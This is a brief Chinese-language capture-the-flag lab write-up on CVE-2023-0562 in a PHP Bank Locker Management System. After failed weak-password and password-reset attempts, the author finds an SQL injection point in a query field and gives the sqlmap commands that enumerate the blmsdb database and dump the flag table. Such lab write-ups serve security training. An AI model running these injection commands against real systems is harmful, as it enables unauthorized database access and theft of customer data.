春秋云境CVE-2023-0562

简介

银行储物柜管理系统是一个基于网络的应用程序，用于处理存储银行客户贵重物品的银行储物柜。储物柜的所有详细信息都保存在数据库中。银行储物柜管理系统项目是使用 PHP 和 MySQLi 扩展开发的。

正文

进入靶场，首先就看到有个bankers，点进去一看发现是个登录界面，那么我就开始尝试弱口令爆破发现没用，然后修改密码，需要邮箱和电话，恰好在主页有邮箱和电话，我尝试输入进去，然后发现这根本就是一个陷阱，没有用。

找到注入点

发现这里有个输入的地方，随便输入进去发现是个查询功能，那么就可能存在sql注入，那就话不多说，抓包上sqlmap

开始抓包

sqlmap开爆

python sqlmap.py -r 2.txt -batch -dbs

python sqlmap.py -r 2.txt -batch -D blmsdb -tables

>python sqlmap.py -r 2.txt -batch -D blmsdb -T  fllllaaaag -columns

拿下靶场

python sqlmap.py -r 2.txt -batch -D blmsdb -T  fllllaaaag -C flag -dump